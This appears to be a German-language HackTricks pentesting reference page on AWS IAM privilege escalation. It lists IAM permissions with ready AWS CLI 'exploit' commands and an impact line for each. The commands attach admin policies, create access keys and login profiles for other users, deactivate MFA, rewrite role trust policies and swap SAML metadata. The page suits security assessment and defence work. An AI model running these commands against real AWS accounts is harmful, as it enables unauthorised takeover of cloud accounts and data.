AWS - IAM Privesc

Reading time: 8 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

IAM

Für weitere Informationen zu IAM siehe:

AWS - IAM, Identity Center & SSO Enum

iam:CreatePolicyVersion

Ermöglicht das Erstellen einer neuen IAM-Policy-Version, wobei die Notwendigkeit der Berechtigung iam:SetDefaultPolicyVersion durch die Verwendung des Flags --set-as-default umgangen wird. Dies ermöglicht die Definition benutzerdefinierter Berechtigungen.

Exploit-Befehl:

bash
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default

Auswirkungen: Eskaliert direkt die Berechtigungen, indem jede Aktion auf jede Ressource erlaubt wird.

iam:SetDefaultPolicyVersion

Erlaubt das Ändern der Standardversion einer IAM-Richtlinie in eine andere vorhandene Version, was potenziell die Berechtigungen eskalieren kann, wenn die neue Version mehr Berechtigungen hat.

Bash-Befehl:

bash
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2

Auswirkung: Indirekte Privilegieneskalation durch Aktivierung zusätzlicher Berechtigungen.

iam:CreateAccessKey

Ermöglicht das Erstellen einer Zugriffs-Schlüssel-ID und eines geheimen Zugriffs-Schlüssels für einen anderen Benutzer, was zu einer potenziellen Privilegieneskalation führen kann.

Ausnutzen:

bash
aws iam create-access-key --user-name <target_user>

Auswirkungen: Direkte Privilegieneskalation durch Übernahme der erweiterten Berechtigungen eines anderen Benutzers.

iam:CreateLoginProfile | iam:UpdateLoginProfile

Erlaubt das Erstellen oder Aktualisieren eines Anmeldeprofils, einschließlich der Festlegung von Passwörtern für die AWS-Konsole, was zu einer direkten Privilegieneskalation führt.

Ausnutzung zur Erstellung:

bash
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Exploit für Update:

bash
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Auswirkung: Direkte Privilegieneskalation durch das Einloggen als "irgendein" Benutzer.

iam:UpdateAccessKey

Erlaubt das Aktivieren eines deaktivierten Zugriffsschlüssels, was zu unbefugtem Zugriff führen kann, wenn der Angreifer den deaktivierten Schlüssel besitzt.

Ausnutzen:

bash
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>

Auswirkungen: Direkte Privilegieneskalation durch Reaktivierung von Zugriffsschlüsseln.

iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential

Ermöglicht das Erstellen oder Zurücksetzen von Anmeldeinformationen für spezifische AWS-Dienste (z. B. CodeCommit, Amazon Keyspaces), wobei die Berechtigungen des zugehörigen Benutzers geerbt werden.

Ausnutzen für die Erstellung:

bash
aws iam create-service-specific-credential --user-name <username> --service-name <service>

Exploits für Zurücksetzen:

bash
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>

Auswirkungen: Direkte Privilegieneskalation innerhalb der Dienstberechtigungen des Benutzers.

iam:AttachUserPolicy || iam:AttachGroupPolicy

Erlaubt das Anhängen von Richtlinien an Benutzer oder Gruppen, wodurch Privilegien direkt durch das Erben der Berechtigungen der angehängten Richtlinie eskaliert werden.

Ausnutzung für Benutzer:

bash
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"

Exploits für Gruppen:

bash
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"

Auswirkungen: Direkte Privilegieneskalation auf alles, was die Richtlinie gewährt.

iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy

Erlaubt das Anhängen oder Setzen von Richtlinien an Rollen, Benutzer oder Gruppen, wodurch eine direkte Privilegieneskalation durch Gewährung zusätzlicher Berechtigungen ermöglicht wird.

Ausnutzung für Rolle:

bash
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"

Ausnutzung von Inline-Richtlinien:

bash
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"

aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

Sie können eine Richtlinie wie folgt verwenden:

json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}

Auswirkung: Direkte Privilegieneskalation durch das Hinzufügen von Berechtigungen über Richtlinien.

iam:AddUserToGroup

Ermöglicht das Hinzufügen von sich selbst zu einer IAM-Gruppe, wodurch Privilegien durch das Erben der Berechtigungen der Gruppe eskaliert werden.

Ausnutzen:

bash
aws iam add-user-to-group --group-name <group_name> --user-name <username>

Auswirkung: Direkte Privilegieneskalation auf das Niveau der Berechtigungen der Gruppe.

iam:UpdateAssumeRolePolicy

Erlaubt das Ändern des Dokuments der Annahme-Rollenrichtlinie einer Rolle, wodurch die Annahme der Rolle und ihrer zugehörigen Berechtigungen ermöglicht wird.

Ausnutzen:

bash
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json

Wo die Richtlinie wie folgt aussieht, die dem Benutzer die Berechtigung gibt, die Rolle zu übernehmen:

json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}

Auswirkungen: Direkte Privilegieneskalation durch Übernahme der Berechtigungen einer beliebigen Rolle.

iam:UploadSSHPublicKey || iam:DeactivateMFADevice

Erlaubt das Hochladen eines SSH-Öffentlichen Schlüssels zur Authentifizierung bei CodeCommit und das Deaktivieren von MFA-Geräten, was zu einer potenziellen indirekten Privilegieneskalation führen kann.

Ausnutzung für das Hochladen des SSH-Schlüssels:

bash
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>

Exploits für die Deaktivierung von MFA:

bash
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>

Auswirkungen: Indirekte Privilegieneskalation durch Aktivierung des Zugriffs auf CodeCommit oder Deaktivierung des MFA-Schutzes.

iam:ResyncMFADevice

Ermöglicht die Resynchronisierung eines MFA-Geräts, was potenziell zu einer indirekten Privilegieneskalation durch Manipulation des MFA-Schutzes führen kann.

Bash-Befehl:

bash
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>

Auswirkungen: Indirekte Privilegieneskalation durch Hinzufügen oder Manipulieren von MFA-Geräten.

iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)

Mit diesen Berechtigungen können Sie die XML-Metadaten der SAML-Verbindung ändern. Dann könnten Sie die SAML-Föderation missbrauchen, um sich mit jeder Rolle, die ihr vertraut, einzuloggen.

Beachten Sie, dass legitime Benutzer sich dabei nicht einloggen können. Sie könnten jedoch die XML erhalten, sodass Sie Ihre eigene einfügen, sich einloggen und die vorherige Konfiguration wiederherstellen können.

bash
# List SAMLs
aws iam list-saml-providers

# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>

# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>

## Login impersonating roles that trust the SAML provider

# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>

note

TODO: Ein Tool, das in der Lage ist, die SAML-Metadaten zu generieren und sich mit einer angegebenen Rolle anzumelden

iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)

(Unklar darüber) Wenn ein Angreifer diese Berechtigungen hat, könnte er einen neuen Thumbprint hinzufügen, um sich in allen Rollen anzumelden, die dem Anbieter vertrauen.

bash
# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks